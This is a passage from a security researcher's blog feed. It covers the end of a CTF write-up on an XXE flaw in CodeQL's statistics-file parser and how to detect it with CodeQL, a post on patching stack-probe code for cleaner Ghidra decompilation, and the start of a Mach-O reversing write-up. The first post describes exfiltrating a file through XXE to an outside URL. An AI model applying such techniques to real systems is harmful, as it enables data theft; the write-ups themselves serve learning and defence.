<p>Very soon, a few breakpoints triggered—parsing the logback configuration included in the CodeQL JAR file. Not exactly a prime target. Sadly, this was all we could gather at this stage; no other places jumped out that parse XML using the JAXP entrypoints. But we also noticed another place parsing XML, even though it did not seem to hit the normal JAXB methods: The database statistics file (this file is used to improve join-ordering decisions). Unfortunately, it seems to be loaded from the integrated definitions within CodeQL and therefore not controllable by us.</p>

<h4 id="dbstats">dbstats</h4>

<p>Through trial and error, we finally move a dbstats file (<code class="language-plaintext highlighter-rouge">db-java/semmlecode.dbscheme.stats</code>) in the database, changing its path and suddenly running a query crashes with a file-not-found exception. Tracing the callstack with the provided error message reveals a <em>second</em> XML parser, Apache Xerces (this is Java after all)! After experimenting for a bit, we confirm that the XML in the statistics file is actually parsed by CodeQL (using the <code class="language-plaintext highlighter-rouge">StatisticsPersistence</code> class) — XML written by us.</p>

<h3 id="exploitation">Exploitation</h3>

<p>We can now just reuse the XXE payload from the <a href="#full-exploit">intended solution</a> and host the dbstats file in a Git repository. After running a query, we will once again see a request to our requestbin URL with the contents of the <code class="language-plaintext highlighter-rouge">/flag</code> file.</p>

<p><strong>In real life, this vulnerability is unfortunately quite limited as (at least) Java does not allow newlines in URLs, making exfiltration of multi-line files impossible.</strong> <br />
However, XXE can still be used for RCE when the stars align as the watchTowr team has shown in their recent <a href="https://labs.watchtowr.com/sysowned-your-friendly-rce-support-ticket/">blog post</a>.</p>

<h2 id="using-codeql-to-find-xxe-in-codeql">Using CodeQL to Find XXE in CodeQL</h2>

<p>The GitHub security advisory for the unintended solution interestingly states this:</p>

<blockquote>
  <p><a href="https://github.com/github/codeql/blob/main/java/ql/src/Security/CWE/CWE-611/XXELocal.ql">https://github.com/github/codeql/blob/main/java/ql/src/Security/CWE/CWE-611/XXELocal.ql</a> is a CodeQL query that <em>would have</em> found this vulnerability. It is usually disabled because a high risk of false positives. Java projects that know they will never need to parse XML that depends on document-provided DTDs may want to enable it in their own CodeQL analysis.</p>
</blockquote>

<p>So let’s try this and see if we can find the XXE in CodeQL using CodeQL.
(Spoiler alert: it’s not that easy)</p>

<p>If you click on the link in the advisory, you’ll be greeted with a 404 <sup id="fnref:commit_that_removes_it" role="doc-noteref"><a href="#fn:commit_that_removes_it" class="footnote" rel="footnote">2</a></sup>. This is because CodeQL recently introduced <strong>Threat Models</strong>.</p>

<h3 id="threat-models">Threat Models</h3>

<p><a href="https://github.blog/changelog/2023-12-20-code-scanning-is-now-more-adaptable-to-your-codebase-with-codeql-threat-model-settings-for-java-beta/"><strong>Threat Models</strong></a> are a new way to tell CodeQL our well - threat model. Is our code accessible to local attackers that might be able to write files to our disk? Or is it accessible to remote attackers?
In essence, Threat Models tell CodeQL what we <strong>do care</strong> about and what we <strong>don’t care</strong> about. This is important because CodeQL is a general-purpose tool and can be used for many different things. For example, if we are analyzing a web application, we might not care about local attacks at all and only want to find remote attacks.</p>

<p>So instead of having one query that finds local XXE and one that finds remote XXE, we now have a single query that finds XXE and we tell CodeQL whether we care about local or remote attacks.</p>

<h3 id="creating-a-codeql-database-from-decompiled-code--buildless-mode">Creating a CodeQL Database from Decompiled Code – Buildless Mode</h3>

<p>We had to decompile the CodeQL jar file to get the source code when we were trying to find a solution to the challenge. Now we can use this decompiled source code to create a CodeQL database and analyze it.</p>

<p>Luckily for us, CodeQL recently added a new feature called <a href="https://github.blog/changelog/2024-03-26-codeql-can-scan-java-projects-without-a-build/"><strong>Buildless Mode</strong></a> which allows us to create a CodeQL database from source code without being able to build the project. This is especially useful for decompiled code where we might not have all the dependencies.</p>

<p>We can use the following command to create a CodeQL database from the decompiled CodeQL source code:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>codeql database create <span class="nt">--language</span><span class="o">=</span>java ../codeql_db <span class="nt">--build-mode</span><span class="o">=</span>none
</code></pre></div></div>

<h3 id="running-the-xxe-query--failure">Running the XXE Query – Failure</h3>

<p>Now that we have a CodeQL database, we can run the XXE query on it like this:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>codeql database analyze PATH_TO_DB PATH_TO_ql/java/ql/src/Security/CWE/CWE-611/XXE.ql <span class="nt">--threat-model</span> <span class="nb">local</span> <span class="nt">--output</span><span class="o">=</span>output.sarif <span class="nt">--format</span><span class="o">=</span>sarif-latest  <span class="nt">--rerun</span>
</code></pre></div></div>

<p>The query will find only one result in the CodeQL source code: the <code class="language-plaintext highlighter-rouge">StAXXmlPopulator.java</code> file, which is a false-positive because all entities are only resolved to dummy values.</p>

<p>So where is the XXE in the <code class="language-plaintext highlighter-rouge">StatisticsPersistence</code> class?</p>

<h3 id="running-the-xxe-query--debugging">Running the XXE Query – Debugging</h3>

<p>The <code class="language-plaintext highlighter-rouge">XXE.ql</code> query looks like this:</p>

<pre><code class="language-ql">import java
import semmle.code.java.dataflow.DataFlow
import semmle.code.java.security.XxeRemoteQuery
import XxeFlow::PathGraph

from XxeFlow::PathNode source, XxeFlow::PathNode sink
where XxeFlow::flowPath(source, sink)
select sink.getNode(), source, sink,
  "XML parsing depends on a $@ without guarding against external entity expansion.",
  source.getNode(), "user-provided value"
</code></pre>

<p>If we want to debug this, we have to make a few changes:</p>

<ol>
  <li>Add a new module <code class="language-plaintext highlighter-rouge">module XxeFlowPartial = XxeFlow::FlowExplorationRev&lt;explorationLimit/0&gt;;</code> for performing reverse data flow analysis.</li>
  <li>Define a function <code class="language-plaintext highlighter-rouge">int explorationLimit() { result = 3; }</code> for limiting the exploration depth to 3.</li>
  <li>Change the <code class="language-plaintext highlighter-rouge">flowPath</code> predicate to <code class="language-plaintext highlighter-rouge">XxeFlowPartial::partialFlow(source, sink, _)</code></li>
  <li>Change the <code class="language-plaintext highlighter-rouge">XxeFlow::PathGraph</code> to <code class="language-plaintext highlighter-rouge">XxeFlowPartial::PartialPathGraph</code>.</li>
  <li>Change the <code class="language-plaintext highlighter-rouge">XxeFlow::PathNode</code> to <code class="language-plaintext highlighter-rouge">XxeFlowPartial::PartialPathNode</code>.</li>
  <li>Add an additional constraint to the <code class="language-plaintext highlighter-rouge">flowPath</code> predicate to only match the <code class="language-plaintext highlighter-rouge">StatisticsPersistence</code> class: <code class="language-plaintext highlighter-rouge">sink.getLocation().getFile().getAbsolutePath().matches("%StatisticsPersistence%")</code></li>
</ol>

<p>If we now run the modified query and tweak the exploration limit a bit, we can see that the <code class="language-plaintext highlighter-rouge">StatisticsPersistence</code> class is not reachable from a source node.
This is because only a few classes are currently modeled for the <code class="language-plaintext highlighter-rouge">file</code> (included in <code class="language-plaintext highlighter-rouge">local</code>) threat model.</p>

<p>Crucially, the <code class="language-plaintext highlighter-rouge">java.nio.file.Files.newBufferedReader</code> method is not modeled at all.</p>

<h3 id="running-the-xxe-query--success">Running the XXE Query – Success</h3>

<p>If we go to our checkout of <code class="language-plaintext highlighter-rouge">ql/java/ql/lib/ext/java.nio.file.model.yml</code> and add the following lines:</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="pi">-</span> <span class="na">addsTo</span><span class="pi">:</span>
    <span class="na">pack</span><span class="pi">:</span> <span class="s">codeql/java-all</span>
    <span class="na">extensible</span><span class="pi">:</span> <span class="s">sourceModel</span>
  <span class="na">data</span><span class="pi">:</span>
    <span class="pi">-</span> <span class="pi">[</span>
        <span class="s2">"</span><span class="s">java.nio.file"</span><span class="pi">,</span>
        <span class="s2">"</span><span class="s">Files"</span><span class="pi">,</span>
        <span class="nv">True</span><span class="pi">,</span>
        <span class="s2">"</span><span class="s">newBufferedReader"</span><span class="pi">,</span>
        <span class="s2">"</span><span class="s">"</span><span class="pi">,</span>
        <span class="s2">"</span><span class="s">"</span><span class="pi">,</span>
        <span class="s2">"</span><span class="s">ReturnValue"</span><span class="pi">,</span>
        <span class="s2">"</span><span class="s">file"</span><span class="pi">,</span>
        <span class="s2">"</span><span class="s">manual"</span><span class="pi">,</span>
      <span class="pi">]</span>
</code></pre></div></div>

<p>and run the original query again, we can now see the <code class="language-plaintext highlighter-rouge">StatisticsPersistence</code> class in the results:
<img src="/assets/images/realworldctf-2024_codeql_statistics_persistence.png" alt="XXE in CodeQL" style="width: 100%;" /></p>

<p>This is exactly the flow that we used in the unintended solution.</p>

<p>If we were to run the same query on the patched version of CodeQL, we would see that the <code class="language-plaintext highlighter-rouge">StatisticsPersistence</code> class is not vulnerable anymore, because the XML parser is now configured to not allow external entities.</p>

<h2 id="conclusion">Conclusion</h2>

<p>In this writeup, we have shown how to solve the RealworldCTF 2024 challenge “Protected-by-Java-SE” using XXE in CodeQL both the intended and unintended way.</p>

<p>We also showed how to find the XXE vulnerability in CodeQL using CodeQL itself :D <br />
For that, we used <a href="https://github.blog/changelog/2024-03-26-codeql-can-scan-java-projects-without-a-build/"><strong>Buildless Mode</strong></a> to work with decompiled code, used the new <a href="https://github.blog/changelog/2023-12-20-code-scanning-is-now-more-adaptable-to-your-codebase-with-codeql-threat-model-settings-for-java-beta/"><strong>Threat Models</strong></a> feature, and looked at how to debug a dataflow query using <a href="https://codeql.github.com/docs/writing-codeql-queries/debugging-data-flow-queries-using-partial-flow/"><strong>partial forward/reverse dataflow</strong></a> analysis.</p>

<p>Ultimately, this challenge shows that even well-designed security software can still be vulnerable.</p>
<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:name-hint" role="doc-endnote">

      <p>That’s probably the reason why this challenge is called “Protected-by-Java-SE”:
<code class="language-plaintext highlighter-rouge">javax.xml.accessExternalDTD=all</code> is NOT set to <code class="language-plaintext highlighter-rouge">all</code> by default in newer versions of Java and therefore this is “protected” by Java SE. <a href="#fnref:name-hint" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:commit_that_removes_it" role="doc-endnote">
      <p>The commit that removes the XXELocal.ql query is <a href="https://github.com/github/codeql/commit/93988e5834ba51739287a9d0f390be473fcaea70">here</a>. <a href="#fnref:commit_that_removes_it" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
</div>]]></content><author><name>intrigus</name></author><category term="research" /><summary type="html"><![CDATA[How to find XXE in CodeQL using CodeQL – unintended CTF challenge solution.]]></summary></entry><entry><title type="html">Fixing Decompilation of Stack Clash Protected Binaries</title><link href="https://intrigus.org/research/2025/04/15/fixing-decompilation-of-stack-clash-protected-binaries/" rel="alternate" type="text/html" title="Fixing Decompilation of Stack Clash Protected Binaries" /><published>2025-04-15T00:00:00+00:00</published><updated>2025-04-15T00:00:00+00:00</updated><id>https://intrigus.org/research/2025/04/15/fixing-decompilation-of-stack-clash-protected-binaries</id><content type="html" xml:base="https://intrigus.org/research/2025/04/15/fixing-decompilation-of-stack-clash-protected-binaries/"><![CDATA[<h1 id="fixing-decompilation-of-stack-clash-protected-binaries">Fixing Decompilation of Stack Clash Protected Binaries</h1>

<p>I was playing DEFCON CTF Quals 2025 with (KITCTF⊂Sauercloud) and I looked into the <code class="language-plaintext highlighter-rouge">callmerust</code> challenge.
The actual challenge is not relevant for this post, but when opening the binary in Ghidra (or binja) <sup id="fnref:ida" role="doc-noteref"><a href="#fn:ida" class="footnote" rel="footnote">1</a></sup>, I was greeted with some very ugly decompilation output.</p>

<p>The decompilation output looks ugly, because Ghidra is unable to track the stack pointer correctly.
This is because the binary is compiled with <code class="language-plaintext highlighter-rouge">-fstack-check</code> (or similar), which adds stack probing code to the binary.</p>

<p>Luckily, there is a very simple fix for this issue.</p>

<h2 id="what-is-stack-probing-and-why-is-it-necessary">What is Stack Probing and Why is it Necessary?</h2>

<p>On Linux, the stack grows automatically when more stack space is needed.
This is done by allocating a guard page at the start of the stack, which is a page of memory that is not accessible to the program.
When the program tries to access this page, it will cause a segmentation fault, which causes the kernel to grow the stack by allocating a new page of memory.</p>

<p>However, this automatic expansion can lead to a stack clash attack, where an attacker can exploit the fact that the stack grows downwards and the heap grows upwards.
This can lead to a situation where the stack and heap collide, leading to a stack overflow or heap corruption.</p>

<p>All an attacker needs to do is to “jump” over the guard page (usually <code class="language-plaintext highlighter-rouge">0x1000</code> bytes), that is, move the stack pointer to a location that is below the guard page without reading/writing it.</p>

<p>To prevent this, the compiler adds stack probing code to the binary, which probes the stack before moving the stack pointer by more than <code class="language-plaintext highlighter-rouge">0x1000</code> bytes. This ensures that the guard page cannot be jumped over.</p>

<p>For a deeper dive into stack clash vulnerabilities and mitigations, you can refer to the <a href="https://www.qualys.com/2017/06/19/stack-clash/stack-clash.txt">Qualys blog post on Stack Clash</a>.</p>

<h2 id="the-problem">The Problem</h2>
<p>The problem with stack probing is that it breaks the stack pointer tracking in Ghidra (and binja).</p>

<p>Let’s consider a very simple example:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span>
<span class="k">struct</span> <span class="nc">bar</span>
<span class="p">{</span>
    <span class="kt">int</span> <span class="n">a</span><span class="p">;</span>
    <span class="kt">int</span> <span class="n">b</span><span class="p">;</span>
    <span class="kt">long</span> <span class="kt">long</span> <span class="n">c</span><span class="p">;</span>
<span class="p">};</span>

<span class="kt">int</span> <span class="n">main</span><span class="p">()</span>
<span class="p">{</span>
    <span class="kt">char</span> <span class="n">foao</span><span class="p">[</span><span class="mh">0x5000</span><span class="p">];</span>
    <span class="kt">int</span> <span class="n">foo</span> <span class="o">=</span> <span class="mi">22</span><span class="p">;</span>
    <span class="k">struct</span> <span class="nc">bar</span> <span class="n">bar</span> <span class="o">=</span> <span class="p">{</span><span class="mi">1</span><span class="p">,</span> <span class="mi">23</span><span class="p">,</span> <span class="mi">4</span><span class="p">};</span>
    <span class="kt">int</span> <span class="n">z3</span> <span class="o">=</span> <span class="n">foo</span> <span class="o">+</span> <span class="n">bar</span><span class="p">.</span><span class="n">b</span><span class="p">;</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"Hello"</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"z3: %d"</span><span class="p">,</span> <span class="n">z3</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>This code is very simple, but it has a stack probe in it. The stack probe is added because the stack frame is larger than <code class="language-plaintext highlighter-rouge">0x1000</code> bytes (the size of the guard page).</p>

<p>When compiled with <code class="language-plaintext highlighter-rouge">-fstack-check</code>, the compiler will add a stack probe to the binary.</p>

<p>When opening the binary in Ghidra, we can see that the stack pointer tracking is broken.
The stack pointer is not tracked correctly, and the decompilation output is very ugly (notice the <code class="language-plaintext highlighter-rouge">(puVar2 + -0x28) = ...</code> in the decompilation output):</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">undefined8</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>

<span class="p">{</span>
  <span class="n">undefined1</span> <span class="o">*</span><span class="n">puVar1</span><span class="p">;</span>
  <span class="n">undefined1</span> <span class="o">*</span><span class="n">puVar2</span><span class="p">;</span>
  <span class="n">ulong</span> <span class="n">uVar3</span><span class="p">;</span>
  <span class="n">undefined1</span> <span class="n">local_6008</span> <span class="p">[</span><span class="mi">4064</span><span class="p">];</span>
  <span class="n">undefined4</span> <span class="n">local_5028</span><span class="p">;</span>
  <span class="n">undefined4</span> <span class="n">local_5024</span><span class="p">;</span>
  <span class="n">undefined8</span> <span class="n">local_5020</span><span class="p">;</span>
  <span class="n">uint</span> <span class="n">local_10</span><span class="p">;</span>
  <span class="n">undefined4</span> <span class="n">local_c</span><span class="p">;</span>
  
  <span class="n">puVar1</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">stack0xfffffffffffffff8</span><span class="p">;</span>
  <span class="k">do</span> <span class="p">{</span>
    <span class="n">puVar2</span> <span class="o">=</span> <span class="n">puVar1</span><span class="p">;</span>
    <span class="o">*</span><span class="p">(</span><span class="n">undefined8</span> <span class="o">*</span><span class="p">)(</span><span class="n">puVar2</span> <span class="o">+</span> <span class="o">-</span><span class="mh">0x1000</span><span class="p">)</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">undefined8</span> <span class="o">*</span><span class="p">)(</span><span class="n">puVar2</span> <span class="o">+</span> <span class="o">-</span><span class="mh">0x1000</span><span class="p">);</span>
    <span class="n">puVar1</span> <span class="o">=</span> <span class="n">puVar2</span> <span class="o">+</span> <span class="o">-</span><span class="mh">0x1000</span><span class="p">;</span>
  <span class="p">}</span> <span class="k">while</span> <span class="p">(</span><span class="n">puVar2</span> <span class="o">+</span> <span class="o">-</span><span class="mh">0x1000</span> <span class="o">!=</span> <span class="n">local_6008</span><span class="p">);</span>
  <span class="o">*</span><span class="p">(</span><span class="n">undefined8</span> <span class="o">*</span><span class="p">)(</span><span class="n">puVar2</span> <span class="o">+</span> <span class="o">-</span><span class="mh">0x1040</span><span class="p">)</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">undefined8</span> <span class="o">*</span><span class="p">)(</span><span class="n">puVar2</span> <span class="o">+</span> <span class="o">-</span><span class="mh">0x1040</span><span class="p">);</span>
  <span class="n">local_c</span> <span class="o">=</span> <span class="mh">0x16</span><span class="p">;</span>
  <span class="n">local_5028</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
  <span class="n">local_5024</span> <span class="o">=</span> <span class="mh">0x17</span><span class="p">;</span>
  <span class="n">local_5020</span> <span class="o">=</span> <span class="mi">4</span><span class="p">;</span>
  <span class="n">local_10</span> <span class="o">=</span> <span class="mh">0x2d</span><span class="p">;</span>
  <span class="o">*</span><span class="p">(</span><span class="n">undefined8</span> <span class="o">*</span><span class="p">)(</span><span class="n">puVar2</span> <span class="o">+</span> <span class="o">-</span><span class="mh">0x28</span><span class="p">)</span> <span class="o">=</span> <span class="mh">0x1011b9</span><span class="p">;</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"Hello"</span><span class="p">);</span>
  <span class="n">uVar3</span> <span class="o">=</span> <span class="p">(</span><span class="n">ulong</span><span class="p">)</span><span class="n">local_10</span><span class="p">;</span>
  <span class="o">*</span><span class="p">(</span><span class="n">undefined8</span> <span class="o">*</span><span class="p">)(</span><span class="n">puVar2</span> <span class="o">+</span> <span class="o">-</span><span class="mh">0x28</span><span class="p">)</span> <span class="o">=</span> <span class="mh">0x1011d2</span><span class="p">;</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"z3: %d"</span><span class="p">,</span><span class="n">uVar3</span><span class="p">);</span>
  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The stack probing code looks like this:</p>

<pre><code class="language-asm">0000000000001149 &lt;main&gt;:
    1149:	55                   	push   rbp
    114a:	48 89 e5             	mov    rbp,rsp
    114d:	4c 8d 9c 24 00 a0 ff 	lea    r11,[rsp-0x6000]
    1154:	ff 
    1155:	48 81 ec 00 10 00 00 	sub    rsp,0x1000 &lt;-- change stack pointer
    115c:	48 83 0c 24 00       	or     QWORD PTR [rsp],0x0 &lt;-- stack probe
    1161:	4c 39 dc             	cmp    rsp,r11
    1164:	75 ef                	jne    1155 &lt;main+0xc&gt; &lt;--loop
</code></pre>

<p><strong>Ghidra is likely unable to track the stack pointer correctly, because the stack pointer is moved in a loop.</strong>
(I have opened an issue on the Ghidra GitHub repository <sup id="fnref:ghidra_issue" role="doc-noteref"><a href="#fn:ghidra_issue" class="footnote" rel="footnote">2</a></sup> and Binary Ninja GitHub repository <sup id="fnref:binja_issue" role="doc-noteref"><a href="#fn:binja_issue" class="footnote" rel="footnote">3</a></sup>)</p>

<h2 id="the-fix">The Fix</h2>
<p>The fix for this issue is very simple. We just have to apply some manual analysis and patch a few instructions in the binary.</p>

<p>Patching in Ghidra is very simple. We can just right-click on the instruction and select “Patch Instruction” and watch the Ghidra dragon munch some bytes while constructing the assembler 😂</p>

<p><img src="/assets/images/stack_clash_post_2025_ghidra_munching.png" alt="The Ghidra dragon munching bits" width="400" /></p>

<p>To improve the decompilation, we can replace the <code class="language-plaintext highlighter-rouge">sub    rsp,0x1000</code> (in the stack probing code) simply with a <code class="language-plaintext highlighter-rouge">sub    rsp,0x6000</code> instruction, because that is what the loop does in the end.</p>

<p>Then we only have to replace the loop instruction (<code class="language-plaintext highlighter-rouge">jne 1155 &lt;main+0xc&gt;</code>) with a <code class="language-plaintext highlighter-rouge">nop</code> instruction, because the loop is not necessary anymore.
This is a very simple fix, but it makes the decompilation output much better!</p>

<p>When opening the patched binary in Ghidra, we can see that the stack pointer tracking is now correct and the decompilation output is much better:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">undefined8</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>

<span class="p">{</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"Hello"</span><span class="p">);</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"z3: %d"</span><span class="p">,</span><span class="mh">0x2d</span><span class="p">);</span>
  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>So by manually patching the binary to simplify stack pointer adjustments and removing unnecessary loops, we can significantly improve the clarity of the decompiled code until this issue is fixed in Ghidra.</p>
<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:ida" role="doc-endnote">
      <p>Only IDA tracks the stack pointer correctly, but it has different issues with for example strings (see the binary in <a href="https://dogbolt.org/?id=2968ec50-148d-4fc8-b51e-5888de471e7d#BinaryNinja=593&amp;Hex-Rays=454&amp;Ghidra=619">dogbolt</a>). <a href="#fnref:ida" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:ghidra_issue" role="doc-endnote">
      <p><a href="https://github.com/NationalSecurityAgency/ghidra/issues/8017">https://github.com/NationalSecurityAgency/ghidra/issues/8017</a> <a href="#fnref:ghidra_issue" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:binja_issue" role="doc-endnote">
      <p><a href="https://github.com/Vector35/binaryninja-api/issues/6659">https://github.com/Vector35/binaryninja-api/issues/6659</a> <a href="#fnref:binja_issue" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
</div>]]></content><author><name>intrigus</name></author><category term="research" /><summary type="html"><![CDATA[How to fix decompilation when everything looks ugly, because stack probing breaks stack pointer tracking.]]></summary></entry><entry><title type="html">BraekerCTF 2024 – Injecting Commands – Writeup</title><link href="https://intrigus.org/research/2024/03/03/braeker-ctf-2024-injecting-commands-writeup/" rel="alternate" type="text/html" title="BraekerCTF 2024 – Injecting Commands – Writeup" /><published>2024-03-03T00:00:00+00:00</published><updated>2024-03-03T00:00:00+00:00</updated><id>https://intrigus.org/research/2024/03/03/braeker-ctf-2024-injecting-commands-writeup</id><content type="html" xml:base="https://intrigus.org/research/2024/03/03/braeker-ctf-2024-injecting-commands-writeup/"><![CDATA[<h1 id="braekerctf-2024--injecting-commands--writeup">BraekerCTF 2024 – Injecting Commands – Writeup</h1>

<p><em>TLDR: Hidden code in Mach-O load commands and a bit of anti-debugging.</em> <br />
400 points and 2 solves. <br />
Flag: <code class="language-plaintext highlighter-rouge">brck{Y0U_M4cho_C0mm4ndr}</code>.</p>

<p>For this challenge, we are given a single extensionless file <code class="language-plaintext highlighter-rouge">command_injection</code>.
If we run <code class="language-plaintext highlighter-rouge">file</code> on it, we quickly realize that it is a Mach-O binary:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>file command_injection
command_injection: Mach-O 64-bit x86_64 executable, flags:&lt;NOUNDEFS&gt;
</code></pre></div></div>

<h2 id="analyzing-the-binary-in-ghidra">Analyzing the Binary in Ghidra</h2>

<p>We are given a binary, so we can just open it in Ghidra and see what it does, right?</p>

<p>Right?</p>

<p>Well, not quite.</p>

<p>When we import the binary as a Mach-O binary in Ghidra, we are greeted with this message:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">Attempted</span> <span class="n">to</span> <span class="n">read</span> <span class="n">string</span> <span class="n">at</span> <span class="mh">0xfffffffff050f826</span>
<span class="n">java</span><span class="o">.</span><span class="na">io</span><span class="o">.</span><span class="na">EOFException</span><span class="o">:</span> <span class="nc">Attempted</span> <span class="n">to</span> <span class="n">read</span> <span class="n">string</span> <span class="n">at</span> <span class="mh">0xfffffffff050f826</span>
	<span class="n">at</span> <span class="n">ghidra</span><span class="o">.</span><span class="na">app</span><span class="o">.</span><span class="na">util</span><span class="o">.</span><span class="na">bin</span><span class="o">.</span><span class="na">BinaryReader</span><span class="o">.</span><span class="na">readUntilNullTerm</span><span class="o">(</span><span class="nc">BinaryReader</span><span class="o">.</span><span class="na">java</span><span class="o">:</span><span class="mi">716</span><span class="o">)</span>
	<span class="n">at</span> <span class="n">ghidra</span><span class="o">.</span><span class="na">app</span><span class="o">.</span><span class="na">util</span><span class="o">.</span><span class="na">bin</span><span class="o">.</span><span class="na">BinaryReader</span><span class="o">.</span><span class="na">readString</span><span class="o">(</span><span class="nc">BinaryReader</span><span class="o">.</span><span class="na">java</span><span class="o">:</span><span class="mi">874</span><span class="o">)</span>
	<span class="n">at</span> <span class="n">ghidra</span><span class="o">.</span><span class="na">app</span><span class="o">.</span><span class="na">util</span><span class="o">.</span><span class="na">bin</span><span class="o">.</span><span class="na">BinaryReader</span><span class="o">.</span><span class="na">readAsciiString</span><span class="o">(</span><span class="nc">BinaryReader</span><span class="o">.</span><span class="na">java</span><span class="o">:</span><span class="mi">759</span><span class="o">)</span>
	<span class="n">at</span> <span class="n">ghidra</span><span class="o">.</span><span class="na">app</span><span class="o">.</span><span class="na">util</span><span class="o">.</span><span class="na">bin</span><span class="o">.</span><span class="na">format</span><span class="o">.</span><span class="na">macho</span><span class="o">.</span><span class="na">commands</span><span class="o">.</span><span class="na">LoadCommandString</span><span class="o">.&lt;</span><span class="n">init</span><span class="o">&gt;(</span><span class="nc">LoadCommandString</span><span class="o">.</span><span class="na">java</span><span class="o">:</span><span class="mi">37</span><span class="o">)</span>
	<span class="n">at</span> <span class="n">ghidra</span><span class="o">.</span><span class="na">app</span><span class="o">.</span><span class="na">util</span><span class="o">.</span><span class="na">bin</span><span class="o">.</span><span class="na">format</span><span class="o">.</span><span class="na">macho</span><span class="o">.</span><span class="na">commands</span><span class="o">.</span><span class="na">SubFrameworkCommand</span><span class="o">.&lt;</span><span class="n">init</span><span class="o">&gt;(</span><span class="nc">SubFrameworkCommand</span><span class="o">.</span><span class="na">java</span><span class="o">:</span><span class="mi">39</span><span class="o">)</span>
	<span class="n">at</span> <span class="n">ghidra</span><span class="o">.</span><span class="na">app</span><span class="o">.</span><span class="na">util</span><span class="o">.</span><span class="na">bin</span><span class="o">.</span><span class="na">format</span><span class="o">.</span><span class="na">macho</span><span class="o">.</span><span class="na">commands</span><span class="o">.</span><span class="na">LoadCommandFactory</span><span class="o">.</span><span class="na">getLoadCommand</span><span class="o">(</span><span class="nc">LoadCommandFactory</span><span class="o">.</span><span class="na">java</span><span class="o">:</span><span class="mi">90</span><span class="o">)</span>
	<span class="n">at</span> <span class="n">ghidra</span><span class="o">.</span><span class="na">app</span><span class="o">.</span><span class="na">util</span><span class="o">.</span><span class="na">bin</span><span class="o">.</span><span class="na">format</span><span class="o">.</span><span class="na">macho</span><span class="o">.</span><span class="na">MachHeader</span><span class="o">.</span><span class="na">parse</span><span class="o">(</span><span class="nc">MachHeader</span><span class="o">.</span><span class="na">java</span><span class="o">:</span><span class="mi">188</span><span class="o">)</span>
	<span class="n">at</span> <span class="n">ghidra</span><span class="o">.</span><span class="na">app</span><span class="o">.</span><span class="na">util</span><span class="o">.</span><span class="na">bin</span><span class="o">.</span><span class="na">format</span><span class="o">.</span><span class="na">macho</span><span class="o">.</span><span class="na">MachHeader</span><span class="o">.</span><span class="na">parse</span><span class="o">(</span><span class="nc">MachHeader</span><span class="o">.</span><span class="na">java</span><span class="o">:</span><span class="mi">150</span><span class="o">)</span>
	<span class="n">at</span> <span class="n">ghidra</span><span class="o">.</span><span class="na">app</span><span class="o">.</span><span class="na">util</span><span class="o">.</span><span class="na">opinion</span><span class="o">.</span><span class="na">MachoProgramBuilder</span><span class="o">.</span><span class="na">build</span><span class="o">(</span><span class="nc">MachoProgramBuilder</span><span class="o">.</span><span class="na">java</span><span class="o">:</span><span class="mi">118</span><span class="o">)</span>
	<span class="n">at</span> <span class="n">ghidra</span><span class="o">.</span><span class="na">app</span><span class="o">.</span><span class="na">util</span><span class="o">.</span><span class="na">opinion</span><span class="o">.</span><span class="na">MachoProgramBuilder</span><span class="o">.</span><span class="na">buildProgram</span><span class="o">(</span><span class="nc">MachoProgramBuilder</span><span class="o">.</span><span class="na">java</span><span class="o">:</span><span class="mi">110</span><span class="o">)</span>
	<span class="n">at</span> <span class="n">ghidra</span><span class="o">.</span><span class="na">app</span><span class="o">.</span><span class="na">util</span><span class="o">.</span><span class="na">opinion</span><span class="o">.</span><span class="na">MachoLoader</span><span class="o">.</span><span class="na">load</span><span class="o">(</span><span class="nc">MachoLoader</span><span class="o">.</span><span class="na">java</span><span class="o">:</span><span class="mi">90</span><span class="o">)</span>
	<span class="n">at</span> <span class="n">ghidra</span><span class="o">.</span><span class="na">app</span><span class="o">.</span><span class="na">util</span><span class="o">.</span><span class="na">opinion</span><span class="o">.</span><span class="na">AbstractLibrarySupportLoader</span><span class="o">.</span><span class="na">doLoad</span><span class="o">(</span><span class="nc">AbstractLibrarySupportLoader</span><span class="o">.</span><span class="na">java</span><span class="o">:</span><span class="mi">883</span><span class="o">)</span>
